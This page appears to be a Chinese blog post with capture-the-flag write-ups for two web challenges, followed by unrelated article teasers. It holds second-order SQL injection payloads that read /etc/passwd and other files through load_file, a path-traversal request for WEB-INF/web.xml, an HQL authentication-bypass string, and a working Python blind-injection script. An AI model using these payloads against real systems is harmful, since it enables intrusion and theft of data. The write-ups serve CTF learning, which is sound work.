Comment(爆破+git泄漏+二次注入)

server/2025/1/23 13:13:26/

通过爆破密码的后三位,获得账号为:zhangwei666

F12查看控制台

使用bugscanteam的githack工具,下载泄漏的源码,根据控制台的提示,完整源码还在历史的commit中

git log –reflog 查看历史记录

查看最新的提交记录,恢复到该版本

git reset –hard [log hash]

git reset –hard e5b2a2443c2b6d395d06960123142bc91123148c

 

此时查看write_do.php源码

 

涉及2个功能,一个发贴,一个回贴,在发帖时,若用户输入包含有预定义字符,预定义字符为单引
号、双引号、反斜杠、NULL,若是,则会添加反斜杠。在回贴时,会取出第一次输入的category字段
内容,与第二次输入的content做拼接。因此这里存在一个二次SQL注入的问题。

第一次发帖

在category字段输入 ',content=(select load_file('//etc/passwd')),/*

之后点详情,提交留言,留言内容为*/#

 

成功输出
根据passwd文件,可以看到用户目录为/home/www,查看该目录的命令执行记录为.bash_history

查看.DS_Store文件,这里需要hex编码显示

1', content=(selecthex(load_file('/tmp/html/.DS_Store'))),/*

解码得到

flag_8946e1ff1ee3e40f.php

继续读取该文件

1', content=(select hex(load_file('/tmp/html/flag_8946e1ff1ee3e40f.php'))),/*

 

flag{f9ca1a6b-9d78-11e8-90a3-c4b301b7b99b}

这个flag是个假的,这样从复制过去的/var/www/html再次读取

最终得到flag{0dd14aae81d94904b3492117e2a3d4df}

Zhuanxv(文件包含+万能密钥+盲注)

首先通过目录爆破,得到list目录

http://111.200.241.244:62187/list

查看源码

可能存在文件读取

http://111.200.241.244:62187/loadimage?fileName=../../WEB-INF/web.xml

可以看到为struts2框架,该框架主要的配置文件在WEB-INF/classes/struts.xml

根据struts.xml中的class,不断去读取相关class文件,通过jd-gui进行源码阅读

可以看到其在登录时的认证逻辑。

对输入的账号密码,进行去空格和等号处理

且flag位于flag数据库中

后台使用的hive数据库,和mysql的语法类似,由于去掉了空格,可以用换行符替换

构造万能密码

from User where name ='admin' or '1'>'0'or name like 'admin' and password = '" + password + "'

即用户名为admin%27%0Aor%0A%271%27%3E%270%27%0Aor%0Aname%0Alike%0A%27admin

密码随意

最后通过自动化脚本盲注出flag

#!/usr/bin/env python


import requests
s=requests.session()

flag=''
for i in range(1,50):
    p=''
    for j in range(1,255):
        payload = "(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'"+str(j)+"'"
        #print payload
        url="http://111.200.241.244:62187/zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1"
        r1=s.get(url)
        #print url
        #print len(r1.text)
        if len(r1.text)>20000 and p!='':
            flag+=p
            print i,flag
            break
        p=chr(j)

得sctf{C46E250926A2DFFD831975396222B08E}


 

http://www.ppmy.cn/server/160743.html

相关文章

内容中台实施最佳实践解析与应用指南

内容概要 内容中台是一个旨在提升企业内容管理与分发能力的战略性平台&#xff0c;其实施最佳实践对于企业在数字化转型中尤为重要。内容中台的建设&#xff0c;不仅涉及技术层面的架构设计&#xff0c;还需结合组织变革、业务流程优化等多个方面&#xff0c;以实现高效、灵活…

如何学习网络安全?有哪些小窍门?

学好网络安全其实没有所谓的捷径&#xff0c;也没有什么小窍门。 入门网络安全首先要有浓厚的学习兴趣&#xff0c;不然很容易就变成了从入门到放弃了。 其次要能静下心&#xff0c;踏踏实实的打好基础。如果你是零基础&#xff0c;建议从Web安全入手&#xff0c;课程难度相对…

simulink入门学习01

文章目录 1.基本学习方法2.图形环境--模块和参数3.激活菜单---添加到模型3.1输入选项3.2添加到模型3.3更改运算3.4验证要求 4.乘以特定值--Gain模块4.1引入gain模块4.2更改增益参数4.3接入系统4.4大胆尝试 1.基本学习方法 今天突然想要学习这个simulink的相关知识&#xff0c;…

FastExcel 新一代的潮流 (EasyExcel)

目录 简介 FastExcel的特点 FastExcel使用方法详解 创建实体类和监听器 实现写入和读取功能 Excel转换为PDF 小结 FastExcel与EasyExcel的区别 结论 简介 FastExcel是由原EasyExcel作者在阿里巴巴宣布停止维护EasyExcel之后推出的升级版框架。它继承了EasyExcel的所有…

Linux中关于glibc包编译升级导致服务器死机或者linux命令无法使用的情况

服务器上编译glibc2.29版本导致命令不能用 Inconsistency detected by ld.so: dl-call-libc-early-init.c: 37: _dl_call_libc_early_init: Assertion sym ! NULL failed!下面是造成不可用的原因 1.编译完gcc 2.29版本后&#xff0c;开始做映射&#xff0c;以达到能使用最新版…

Mac开启任何来源安装配置环境变量

目录 开启任何来源配置环境变量退出保存时如果没有权限修改文件权限拓展——.bash_profile和.zshrc 开启任何来源 sudo spctl --master-disable#打开软件时提示文件损坏 sudo xattr -r -d com.apple.quarantine 进入访达应用程序拖拽应用到终端配置环境变量 cd ~ vi ~/.bash…

UE虚幻引擎No Google Play Store Key:No OBB found报错如何处理?

问题描述&#xff1a; UE成功打包APK并安装过后&#xff0c;启动应用时提示&#xff1a; No Google Play Store KeyNo OBB found and no store key to try to download. Please setone up in Android Project SettingsUE配置默认在打包APK时会附加生成一个OBB文件&#xff0c;…

浅谈Java之AJAX

一、基本介绍 在Java开发中&#xff0c;AJAX&#xff08;Asynchronous JavaScript and XML&#xff09;是一种用于创建动态网页的技术&#xff0c;它允许网页在不重新加载整个页面的情况下与服务器进行交互。 二、关键点和示例 1. AJAX的基本原理 AJAX通过JavaScript的XMLHtt…